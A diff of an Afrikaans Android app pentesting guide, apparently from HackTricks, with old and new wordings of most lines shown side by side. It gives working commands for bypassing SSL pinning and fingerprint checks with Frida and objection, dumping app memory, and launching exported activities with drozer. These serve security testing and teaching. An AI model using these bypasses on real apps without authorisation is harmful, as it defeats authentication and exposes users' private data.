Toepassings wat **API-vlak 24 en hoër** teiken, vereis wysigings aan die Netwerk Sekuriteitskonfigurasie om die proxy se CA-sertifikaat te aanvaar. Hierdie stap is krities vir die inspeksie van geënkripteerde verkeer. Vir instruksies oor die wysiging van die Netwerk Sekuriteitskonfigurasie, [**verwys na hierdie tutorial**](make-apk-accept-ca-certificate.md).
Toepassings wat **API-vlak 24 en hoër** teiken, vereis wysigings aan die Netwerk Sekuriteit Konfigurasie om die proxy se CA-sertifikaat te aanvaar. Hierdie stap is krities vir die inspeksie van geënkripteerde verkeer. Vir instruksies oor die wysiging van die Netwerk Sekuriteit Konfigurasie, [**verwys na hierdie tutoriaal**](make-apk-accept-ca-certificate.md).
#### Omseiling van SSL Pinning
@ -415,22 +415,22 @@ Wanneer SSL Pinning geïmplementeer is, word dit noodsaaklik om dit te omseil om
- Jy kan **Frida** gebruik (hieronder bespreek) om hierdie beskerming te omseil. Hier is 'n gids om Burp+Frida+Genymotion te gebruik: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Jy kan ook probeer om **automaties SSL Pinning te omseil** met [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Jy kan ook probeer om **automaties SSL Pinning te omseil** met **MobSF dinamiese analise** (hieronder verduidelik)
- As jy steeds dink dat daar enige verkeer is wat jy nie vasvang nie, kan jy probeer om **die verkeer na burp te stuur met iptables**. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- As jy steeds dink dat daar sekere verkeer is wat jy nie opneem nie, kan jy probeer om **die verkeer na burp te stuur met iptables**. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Soek na Algemene Web Kwesbaarhede
Dit is belangrik om ook te soek na algemene web kwesbaarhede binne die toepassing. Gedetailleerde inligting oor die identifisering en mitigering van hierdie kwesbaarhede is buite die omvang van hierdie opsomming, maar word elders uitgebreid behandel.
Dit is belangrik om ook te soek na algemene web kwesbaarhede binne die toepassing. Gedetailleerde inligting oor die identifisering en mitigering van hierdie kwesbaarhede val buite die omvang van hierdie opsomming, maar word elders uitgebreid behandel.
### Frida
[Frida](https://www.frida.re) is 'n dinamiese instrumentasie-gereedskapstel vir ontwikkelaars, omgekeerde ingenieurs, en sekuriteitsnavorsers.\
**Jy kan lopende toepassings toegang verkry en metodes op tydstip aanroep om die gedrag te verander, waardes te verander, waardes te onttrek, verskillende kode te loop...**\
[Frida](https://www.frida.re) is 'n dinamiese instrumentasie toolkit vir ontwikkelaars, omgekeerde ingenieurs, en sekuriteitsnavorsers.\
**Jy kan lopende toepassings toegang verkry en metodes op tyd te hook om die gedrag te verander, waardes te verander, waardes uit te trek, verskillende kode te loop...**\
As jy Android-toepassings wil pentest, moet jy weet hoe om Frida te gebruik.
- Leer hoe om Frida te gebruik: [**Frida tutorial**](frida-tutorial/index.html)
- Leer hoe om Frida te gebruik: [**Frida tutoriaal**](frida-tutorial/index.html)
- Sommige "GUI" vir aksies met Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection is wonderlik om die gebruik van Frida te outomatiseer: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Jy kan 'n paar wonderlike Frida-skripte hier vind: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Jy kan 'n paar wonderlike Frida skripte hier vind: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Probeer om anti-debugging / anti-frida meganismes te omseil deur Frida te laai soos aangedui in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (gereedskap [linjector](https://github.com/erfur/linjector-rs))
### **Dump Geheue - Fridump**
@ -446,7 +446,7 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Dit sal die geheue in die ./dump gids dump, en daarin kan jy met iets soos grep.
Dit sal die geheue in die ./dump gids dump, en daarin kan jy grep met iets soos:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
@ -462,13 +462,13 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Vingerafdruk/Biometriese Omseiling**
Deur die volgende Frida-skrip te gebruik, kan dit moontlik wees om **vingerafdrukverifikasie** te omseil wat Android-toepassings mag uitvoer om **sekere sensitiewe areas te beskerm:**
Deur die volgende Frida-skrip te gebruik, kan dit moontlik wees om **vingerafdrukverifikasie** te **omseil** wat Android-toepassings mag uitvoer om **sekere sensitiewe areas te beskerm:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **Agtergrond Beelde**
Wanneer jy 'n toepassing in die agtergrond plaas, stoor Android 'n **snapshot van die toepassing** sodat wanneer dit herstel word na die voorgrond, dit begin laai die beeld voordat die app, sodat dit lyk asof die app vinniger gelaai is.
Wanneer jy 'n toepassing in die agtergrond plaas, stoor Android 'n **snapshot van die toepassing** sodat wanneer dit herstel word na die voorgrond, dit begin om die beeld te laai voordat die app, sodat dit lyk asof die app vinniger gelaai is.
As hierdie snapshot egter **sensitiewe inligting** bevat, kan iemand met toegang tot die snapshot daardie inligting **steel** (let daarop dat jy root nodig het om toegang te verkry).
@ -486,9 +486,9 @@ Hierdie hulpmiddel kan jou help om verskillende hulpmiddels te bestuur tydens di
Ontwikkelaars skep dikwels proxy-komponente soos aktiwiteite, dienste en uitsendingsontvangers wat hierdie Intents hanteer en dit aan metodes soos `startActivity(...)` of `sendBroadcast(...)` oorplaas, wat riskant kan wees.
Die gevaar lê in die toelaat van aanvallers om nie-geëksporteerde app-komponente te aktiveer of toegang te verkry tot sensitiewe inhoudverskaffers deur hierdie Intents verkeerd te lei. 'n Opmerkelijke voorbeeld is die `WebView` komponent wat URL's na `Intent` objektes omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot kwaadwillige Intent inspuitings.
Die gevaar lê in die toelaat van aanvallers om nie-geëksporteerde app-komponente te aktiveer of toegang tot sensitiewe inhoudverskaffers te verkry deur hierdie Intents verkeerd te lei. 'n Opmerkelijke voorbeeld is die `WebView` komponent wat URL's na `Intent` objektes omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot kwaadwillige Intent inspuitings.
### Essensiële Afleidings
### Belangrike Afleidings
- **Intent Inspuiting** is soortgelyk aan die web se Open Redirect probleem.
- Exploits behels die oorplasing van `Intent` objektes as ekstra, wat herlei kan word om onveilige operasies uit te voer.
@ -499,8 +499,8 @@ Die gevaar lê in die toelaat van aanvallers om nie-geëksporteerde app-komponen
Waarskynlik weet jy van hierdie soort kwesbaarhede van die Web. Jy moet spesiaal versigtig wees met hierdie kwesbaarhede in 'n Android-toepassing:
- **SQL Inspuiting:** Wanneer jy met dinamiese navrae of Inhoudverskaffers werk, verseker dat jy geparametriseerde navrae gebruik.
- **JavaScript Inspuiting (XSS):** Verifieer dat JavaScript en Plugin-ondersteuning vir enige WebViews gedeaktiveer is (standaard gedeaktiveer). [Meer inligting hier](webview-attacks.md#javascript-enabled).
- **SQL Inspuiting:** Wanneer jy met dinamiese navrae of Inhoud-Verskaffers werk, verseker dat jy geparametriseerde navrae gebruik.
- **JavaScript Inspuiting (XSS):** Verifieer dat JavaScript en Plugin ondersteuning gedeaktiveer is vir enige WebViews (standaard gedeaktiveer). [Meer inligting hier](webview-attacks.md#javascript-enabled).
- **Plaaslike Lêer Insluiting:** WebViews moet toegang tot die lêerstelsel gedeaktiveer hê (standaard geaktiveer) - `(webview.getSettings().setAllowFileAccess(false);)`. [Meer inligting hier](webview-attacks.md#javascript-enabled).
- **Ewige koekies**: In verskeie gevalle wanneer die android-toepassing die sessie beëindig, word die koekie nie herroep nie of dit kan selfs op skyf gestoor word.
- [**Veilige Vlag** in koekies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
@ -515,7 +515,7 @@ Waarskynlik weet jy van hierdie soort kwesbaarhede van die Web. Jy moet spesiaal
![](<../../images/image (866).png>)
**Kwetsbaarheidsevaluasie van die toepassing** met 'n pragtige web-gebaseerde frontend. Jy kan ook dinamiese analise uitvoer (maar jy moet die omgewing voorberei).
**Kwetsbaarheidsevaluasie van die toepassing** met 'n mooi web-gebaseerde frontend. Jy kan ook dinamiese analise uitvoer (maar jy moet die omgewing voorberei).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -530,7 +530,7 @@ MobSF laat jou ook toe om **diff/vergelyking** analises te doen en om **VirusTot
**MobSF** kan ook baie nuttig wees vir **dinamiese analise** in **Android**, maar in daardie geval sal jy MobSF en **genymotion** op jou gasheer moet installeer (n VM of Docker sal nie werk nie). _Let wel: Jy moet **eers 'n VM in genymotion begin** en **dan MobSF.**_\
Die **MobSF dinamiese ontleder** kan:
- **Dump toepassingsdata** (URLs, logs, klembord, skermskote gemaak deur jou, skermskote gemaak deur "**Exported Activity Tester**", e-posse, SQLite-databasisse, XML-lêers, en ander geskepte lêers). Al hierdie word outomaties gedoen behalwe vir die skermskote, jy moet druk wanneer jy 'n skermskoot wil hê of jy moet druk op "**Exported Activity Tester**" om skermskote van al die uitgevoerde aktiwiteite te verkry.
- **Dump toepassingsdata** (URL's, logs, klembord, skermskote gemaak deur jou, skermskote gemaak deur "**Exported Activity Tester**", e-posse, SQLite-databasisse, XML-lêers, en ander geskepte lêers). Al hierdie word outomaties gedoen behalwe vir die skermskote, jy moet druk wanneer jy 'n skermskoot wil hê of jy moet druk op "**Exported Activity Tester**" om skermskote van al die uitgevoerde aktiwiteite te verkry.
- **HTTPS-verkeer** vasvang
- **Frida** gebruik om **runtime** **inligting** te verkry
@ -541,21 +541,21 @@ Van Android **weergawe > 5**, sal dit **outomaties Frida begin** en globale **pr
Standaard sal dit ook 'n paar Frida-skripte gebruik om **SSL pinning** te **omseil**, **root-detektering** en **debugger-detektering** en om **interessante API's** te **moniteer**.\
MobSF kan ook **uitgevoerde aktiwiteite** aanroep, **skermskote** daarvan neem en dit **stoor** vir die verslag.
Om die dinamiese toetsing te **begin**, druk die groen knoppie: "**Start Instrumentation**". Druk op die "**Frida Live Logs**" om die logs te sien wat deur die Frida-skripte gegenereer word en "**Live API Monitor**" om al die aanroepings na gehookte metodes, oorgedraagde argumente en teruggegee waardes te sien (dit sal verskyn nadat jy "Start Instrumentation" gedruk het).\
MobSF laat jou ook toe om jou eie **Frida-skripte** te laai (om die resultate van jou Frida-skripte na MobSF te stuur, gebruik die funksie `send()`). Dit het ook **verskeie vooraf geskryfde skripte** wat jy kan laai (jy kan meer by `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` voeg), kies net **hulle**, druk "**Load**" en druk "**Start Instrumentation**" (jy sal die logs van daardie skripte binne "**Frida Live Logs**" kan sien).
Om die dinamiese toetsing te **begin**, druk die groen knoppie: "**Start Instrumentation**". Druk op "**Frida Live Logs**" om die logs te sien wat deur die Frida-skripte gegenereer word en "**Live API Monitor**" om al die aanroepings na gehookte metodes, oorgedraagde argumente en teruggegee waardes te sien (dit sal verskyn nadat jy "Start Instrumentation" gedruk het).\
MobSF laat jou ook toe om jou eie **Frida-skripte** te laai (om die resultate van jou Frida-skripte na MobSF te stuur, gebruik die funksie `send()`). Dit het ook **verskeie vooraf geskryfde skripte** wat jy kan laai (jy kan meer byvoeg in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), kies net **hulle**, druk "**Load**" en druk "**Start Instrumentation**" (jy sal in staat wees om die logs van daardie skripte binne "**Frida Live Logs**" te sien).
![](<../../images/image (419).png>)
Boonop het jy 'n paar bykomende Frida-funksies:
- **Laden Klasse Opnoem**: Dit sal al die gelaaide klasse druk
- **Strings Vasvang**: Dit sal al die vasgevangde strings druk terwyl jy die toepassing gebruik (baie lawaaierig)
- **Laden Klasse Opnoem**: Dit sal al die geladen klasse druk
- **Strings Vasvang**: Dit sal al die vasgevangde strings druk terwyl jy die toepassing gebruik (baie lawaaiig)
- **String Vergelykings Vasvang**: Kan baie nuttig wees. Dit sal **die 2 strings wat vergelyk word** wys en of die resultaat Waar of Vals was.
- **Klas Metodes Opnoem**: Sit die klasnaam (soos "java.io.File") en dit sal al die metodes van die klas druk.
- **Klas Patroon Soek**: Soek klasse volgens patroon
- **Klas Metodes Trace**: **Trace** 'n **hele klas** (sien insette en uitsette van al die metodes van die klas). Onthou dat MobSF standaard verskeie interessante Android API-metodes trace.
Sodra jy die bykomende module gekies het wat jy wil gebruik, moet jy druk op "**Start Intrumentation**" en jy sal al die uitsette in "**Frida Live Logs**" sien.
Sodra jy die bykomende module wat jy wil gebruik, gekies het, moet jy druk op "**Start Instrumentation**" en jy sal al die uitsette in "**Frida Live Logs**" sien.
**Shell**
@ -570,13 +570,13 @@ receivers
```
**HTTP gereedskap**
Wanneer http-verkeer gevang word, kan jy 'n lelike weergawe van die gevange verkeer op "**HTTP(S) Traffic**" onderaan sien of 'n mooi weergawe in "**Start HTTPTools**" groen knoppie. Van die tweede opsie kan jy **stuur** die **gevange versoeke** na **proxies** soos Burp of Owasp ZAP.\
Wanneer http-verkeer gevang word, kan jy 'n lelike weergawe van die gevange verkeer op "**HTTP(S) Traffic**" onderaan sien of 'n mooi weergawe in "**Start HTTPTools**" groen knoppie. Van die tweede opsie af kan jy die **gevange versoeke** na **proxies** soos Burp of Owasp ZAP **stuur**.\
Om dit te doen, _skakel Burp aan -->_ _skakel Intercept af --> in MobSB HTTPTools kies die versoek_ --> druk "**Send to Fuzzer**" --> _kies die proxy adres_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Sodra jy die dinamiese analise met MobSF voltooi het, kan jy druk op "**Start Web API Fuzzer**" om **http versoeke te fuzz** en soek na kwesbaarhede.
Sodra jy die dinamiese analise met MobSF voltooi het, kan jy op "**Start Web API Fuzzer**" druk om **http versoeke te fuzz** en soek na kwesbaarhede.
> [!NOTE]
> Na die uitvoering van 'n dinamiese analise met MobSF mag die proxy-instellings verkeerd geconfigureer wees en jy sal nie in staat wees om dit vanaf die GUI reg te stel nie. Jy kan die proxy-instellings regstel deur te doen:
> Na die uitvoering van 'n dinamiese analise met MobSF mag die proxy-instellings verkeerd geconfigureer wees en jy sal nie in staat wees om dit vanaf die GUI reg te stel nie. Jy kan die proxy-instellings regstel deur:
>
> ```
> adb shell settings put global http_proxy :0
@ -589,13 +589,13 @@ Hierdie gereedskap sal 'n paar **Hooks** gebruik om jou te laat weet **wat in di
### [Yaazhini](https://www.vegabird.com/yaazhini/)
Dit is 'n **wonderlike gereedskap om statiese analise met 'n GUI** uit te voer.
Dit is 'n **wonderlike gereedskap om statiese analise met 'n GUI uit te voer**
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
Hierdie gereedskap is ontwerp om te soek na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede**, hetsy in **bronkode** of **gepakde APK's**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toets toestel te root nie.
Hierdie gereedskap is ontwerp om na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede** te soek, hetsy in **bronkode** of **gepakde APK's**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toets toestel te root nie.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -605,7 +605,7 @@ qark --java path/to/specific/java/file.java
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- Vertoon alle onttrokken lêers vir maklike verwysing
- Decompileer outomaties APK-lêers na Java en Smali-formaat
- Decompileer APK-lêers outomaties na Java en Smali-formaat
- Analiseer AndroidManifest.xml vir algemene kwesbaarhede en gedrag
- Statiese bronnekode-analise vir algemene kwesbaarhede en gedrag
- Toestelinligting
@ -619,7 +619,7 @@ SUPER is 'n opdraglyn-toepassing wat gebruik kan word in Windows, MacOS X en Lin
Alle reëls is gefokus in 'n `rules.json` lêer, en elke maatskappy of toetsers kan hul eie reëls skep om te analiseer wat hulle nodig het.
Laai die nuutste binêre af van die [download page](https://superanalyzer.rocks/download.html)
Laai die nuutste binaire lêers af van die [download page](https://superanalyzer.rocks/download.html)
```
super-analyzer {apk_file}
```
@ -627,9 +627,9 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn is 'n **crossplatform** hulpmiddel wat ontwikkelaars, bugbounty jagters en etiese hackers help om [statiese kode analise](https://en.wikipedia.org/wiki/Static_program_analysis) op mobiele toepassings uit te voer.
StaCoAn is 'n **crossplatform** hulpmiddel wat ontwikkelaars, bugbounty jagters en etiese hackers help om [statische kode analise](https://en.wikipedia.org/wiki/Static_program_analysis) op mobiele toepassings uit te voer.
Die konsep is dat jy jou mobiele toepassingslêer (n .apk of .ipa lêer) op die StaCoAn toepassing sleep en dit 'n visuele en draagbare verslag vir jou sal genereer. Jy kan die instellings en woordlyste aanpas om 'n gepersonaliseerde ervaring te kry.
Die konsep is dat jy jou mobiele toepassingslêer (n .apk of .ipa lêer) op die StaCoAn-toepassing sleep en dit sal 'n visuele en draagbare verslag vir jou genereer. Jy kan die instellings en woordlyste aanpas om 'n gepersonaliseerde ervaring te kry.
Laai [nuutste weergawe](https://github.com/vincentcox/StaCoAn/releases) af:
```
@ -638,7 +638,7 @@ Laai [nuutste weergawe](https://github.com/vincentcox/StaCoAn/releases) af:
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework is 'n Android kwesbaarheid analise stelsel wat ontwikkelaars of hackers help om potensiële sekuriteitskwesbaarhede in Android toepassings te vind.\
[Windows vrylatinge](https://github.com/AndroBugs/AndroBugs_Framework/releases)
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
androbugs.exe -f [APK file]
@ -647,7 +647,7 @@ androbugs.exe -f [APK file]
**Androwarn** is 'n hulpmiddel wat as hoofdoel het om die gebruiker te detecteer en te waarsku oor potensiële kwaadwillige gedrag wat deur 'n Android-toepassing ontwikkel is.
Die opsporing word uitgevoer met die **statische analise** van die toepassing se Dalvik bytecode, verteenwoordig as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek.
Die detectie word uitgevoer met die **statische analise** van die toepassing se Dalvik bytecode, verteenwoordig as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek.
Hierdie hulpmiddel soek na **gewone gedrag van "slegte" toepassings** soos: Telefoonidentifiseerders eksfiltrasie, Klank/video vloei onderskepping, PIM data wysiging, Willekeurige kode uitvoering...
```
@ -657,16 +657,16 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** is 'n **M**obiele **A**pplicatie **R**everse engineering en **A**nalise Raamwerk. Dit is 'n hulpmiddel wat algemeen gebruikte mobiele toepassings reverse engineering en analise hulpmiddels saamvoeg, om te help met die toetsing van mobiele toepassings teen die OWASP mobiele sekuriteitsbedreigings. Die doel daarvan is om hierdie taak makliker en vriendeliker te maak vir mobiele toepassingsontwikkelaars en sekuriteitsprofessionals.
**MARA** is 'n **M**obiele **A**pplicatie **R**everse engineering en **A**nalise Framework. Dit is 'n hulpmiddel wat algemeen gebruikte mobiele toepassings reverse engineering en analise hulpmiddels saamvoeg, om te help met die toetsing van mobiele toepassings teen die OWASP mobiele sekuriteitsbedreigings. Die doel is om hierdie taak makliker en vriendeliker te maak vir mobiele toepassingsontwikkelaars en sekuriteitsprofessionals.
Dit is in staat om:
Dit kan:
- Java en Smali kode te onttrek met behulp van verskillende hulpmiddels
- APK's te analiseer met: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Privaatsakennisse uit die APK te onttrek met behulp van regexps.
- Die Manifest te analiseer.
- Gevonde domeine te analiseer met: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb)
- APK te deobfuscate via [apk-deguard.com](http://www.apk-deguard.com)
- Java en Smali kode onttrek met behulp van verskillende hulpmiddels
- APK's analiseer met behulp van: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Privaat inligting uit die APK onttrek met behulp van regexps.
- Die Manifest analiseer.
- Gevonde domeine analiseer met behulp van: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb)
- APK deobfuskeer via [apk-deguard.com](http://www.apk-deguard.com)
### Koodous
@ -678,21 +678,21 @@ Let daarop dat dit afhang van die diens en konfigurasie wat jy gebruik om die ko
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
Van [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is 'n oopbron-opdraglyn hulpmiddel wat Java kode verklein, optimaliseer en obfuskeer. Dit is in staat om bytecode te optimaliseer sowel as om ongebruikte instruksies te identifiseer en te verwyder. ProGuard is gratis sagteware en word versprei onder die GNU Algemene Publieke Lisensie, weergawe 2.
Van [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is 'n oopbron-opdraglyn hulpmiddel wat Java kode verklein, optimaliseer en obfuskeer. Dit kan bytecode optimaliseer sowel as ongebruikte instruksies opspoor en verwyder. ProGuard is gratis sagteware en word versprei onder die GNU Algemene Publieke Lisensie, weergawe 2.
ProGuard word versprei as deel van die Android SDK en loop wanneer die toepassing in vrystellingmodus gebou word.
### [DexGuard](https://www.guardsquare.com/dexguard)
Vind 'n stap-vir-stap gids om die apk te deobfuscate in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
Vind 'n stap-vir-stap gids om die apk te deobfuskeer in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(Van daardie gids) Laas keer wat ons gekyk het, was die Dexguard werksmodus:
(Van daardie gids) Laas keer wat ons gekontroleer het, was die Dexguard werksmodus:
- laai 'n hulpbron as 'n InputStream;
- voer die resultaat aan 'n klas wat van FilterInputStream erf om dit te ontsleutel;
- doen 'n paar nuttelose obfuskerings om 'n paar minute se tyd van 'n omgekeerder te mors;
- doen 'n paar nuttelose obfuskerings om 'n paar minute se tyd van 'n omkeerder te mors;
- voer die ontsleutelde resultaat aan 'n ZipInputStream om 'n DEX-lêer te kry;
- laai uiteindelik die resulterende DEX as 'n Hulpbron met behulp van die `loadDex` metode.
- laastens laai die resulterende DEX as 'n Hulpbron met behulp van die `loadDex` metode.
### [DeGuard](http://apk-deguard.com)
@ -702,11 +702,11 @@ Jy kan 'n obfuskeer APK na hul platform oplaai.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
Dit is 'n LLM-hulpmiddel om enige potensiële sekuriteitskwesbaarhede in android-apps te vind en android-appkode te deobfuscate. Gebruik Google's Gemini openbare API.
Dit is 'n LLM hulpmiddel om enige potensiële sekuriteitskwesbaarhede in android toepassings te vind en android toepassingskode te deobfuskeer. Gebruik Google se Gemini publieke API.
### [Simplify](https://github.com/CalebFenton/simplify)
Dit is 'n **generiese android deobfuscator.** Simplify **voortvirtueel 'n app** om sy gedrag te verstaan en dan **probeer om die kode te optimaliseer** sodat dit identies optree, maar makliker vir 'n mens om te verstaan. Elke optimaliseringstipe is eenvoudig en generies, so dit maak nie saak watter spesifieke tipe obfuskering gebruik word nie.
Dit is 'n **generiese android deobfuscator.** Simplify **voortvirtueel 'n app** om sy gedrag te verstaan en dan **probeer om die kode te optimaliseer** sodat dit identies optree, maar makliker vir 'n mens om te verstaan. Elke optimalisering tipe is eenvoudig en generies, so dit maak nie saak wat die spesifieke tipe obfuskerings is nie.
### [APKiD](https://github.com/rednaga/APKiD)
@ -714,13 +714,13 @@ APKiD gee jou inligting oor **hoe 'n APK gemaak is**. Dit identifiseer baie **ko
### Manual
[Lees hierdie tutoriaal om 'n paar truuks te leer oor **hoe om pasgemaakte obfuskerings te reverse**](manual-deobfuscation.md)
[Lees hierdie tutoriaal om 'n paar truuks te leer oor **hoe om pasgemaakte obfuskerings te reverseer**](manual-deobfuscation.md)
## Labs
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b is 'n Android sekuriteits virtuele masjien gebaseer op ubuntu-mate wat die versameling van die nuutste raamwerk, tutoriaal en laboratoriums van verskillende sekuriteitsgeeks en navorsers vir reverse engineering en malware analise insluit.
AndroL4b is 'n Android sekuriteits virtuele masjien gebaseer op ubuntu-mate wat die versameling van die nuutste raamwerke, tutoriaal en laboratoriums van verskillende sekuriteitsgeeks en navorsers vir reverse engineering en malware analise insluit.
## References

View File

@ -2,8 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
## APKs om te toets
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (van mrwlabs)
@ -42,17 +40,17 @@ drozer console connect
| **Opdragte** | **Beskrywing** |
| --------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Help MODULE** | Wys hulp van die geselekteerde module |
| **list** | Wys 'n lys van alle drozer modules wat in die huidige sessie uitgevoer kan word. Dit verberg modules waarvoor jy nie toepaslike regte het om te loop nie. |
| **list** | Wys 'n lys van alle drozer modules wat in die huidige sessie uitgevoer kan word. Dit verberg modules wat jy nie die toepaslike regte het om te loop nie. |
| **shell** | Begin 'n interaktiewe Linux-skaal op die toestel, in die konteks van die Agent. |
| **clean** | Verwyder tydelike lêers wat deur drozer op die Android-toestel gestoor is. |
| **load** | Laai 'n lêer wat drozer-opdragte bevat en voer dit in volgorde uit. |
| **clean** | Verwyder tydelike lêers wat deur drozer op die Android-toestel gestoor is. |
| **load** | Laai 'n lêer wat drozer opdragte bevat en voer dit in volgorde uit. |
| **module** | Vind en installeer addisionele drozer modules van die Internet. |
| **unset** | Verwyder 'n benoemde veranderlike wat drozer aan enige Linux-skaal wat dit genereer, deurgee. |
| **set** | Stoor 'n waarde in 'n veranderlike wat as 'n omgewingsveranderlike aan enige Linux-skaal wat deur drozer gegenereer word, deurgegee sal word. |
| **shell** | Begin 'n interaktiewe Linux-skaal op die toestel, in die konteks van die Agent |
| **shell** | Begin 'n interaktiewe Linux-skaal op die toestel, in die konteks van die Agent |
| **run MODULE** | Voer 'n drozer module uit |
| **exploit** | Drozer kan eksploiters skep om in die toestel uit te voer. `drozer exploit list` |
| **payload** | Die eksploiters benodig 'n payload. `drozer payload list` |
| **exploit** | Drozer kan eksplosiewe skep om in die toestel uit te voer. `drozer exploit list` |
| **payload** | Die eksplosiewe benodig 'n payload. `drozer payload list` |
### Pakket
@ -95,14 +93,14 @@ Attack Surface:
2 services exported
is debuggable
```
- **Aktiwiteite**: Miskien kan jy 'n aktiwiteit begin en 'n tipe magtiging omseil wat jou moet verhinder om dit te begin.
- **Aktiwiteite**: Miskien kan jy 'n aktiwiteit begin en 'n tipe outorisering omseil wat jou moet keer om dit te begin.
- **Inhoudverskaffers**: Miskien kan jy privaat data toegang of 'n sekuriteitskwesbaarheid (SQL Injection of Path Traversal) benut.
- **Dienste**:
- **is debuggable**: [Leer meer](#is-debuggeable)
### Aktiwiteite
'n Geverifieerde aktiwiteit komponent se “android:exported” waarde is op **“true”** in die AndroidManifest.xml-lêer gestel:
'n Geverifieerde aktiwiteit komponent se “android:exported” waarde is op **“true”** in die AndroidManifest.xml-lêer:
```html
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>
@ -117,14 +115,14 @@ com.mwr.example.sieve.PWList
```
**Begin aktiwiteit**:
Miskien kan jy 'n aktiwiteit begin en 'n soort van magtiging omseil wat jou moet keer om dit te begin.
Miskien kan jy 'n aktiwiteit begin en 'n tipe outorisering omseil wat jou moet keer om dit te begin.
```bash
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
```
U kan ook 'n geexporteerde aktiwiteit vanaf **adb** begin:
Jy kan ook 'n geëksporteerde aktiwiteit vanaf **adb** begin:
- Pakketnaam is com.example.demo
- Geexporteerde Aktiwiteitnaam is com.example.test.MainActivity
- Geëksporteerde Aktiwiteitnaam is com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
@ -134,15 +132,15 @@ Hierdie pos was te groot om hier te wees, so **jy kan** [**dit op sy eie bladsy
### Dienste
'n Gedeelde diens word binne die Manifest.xml verklaar:
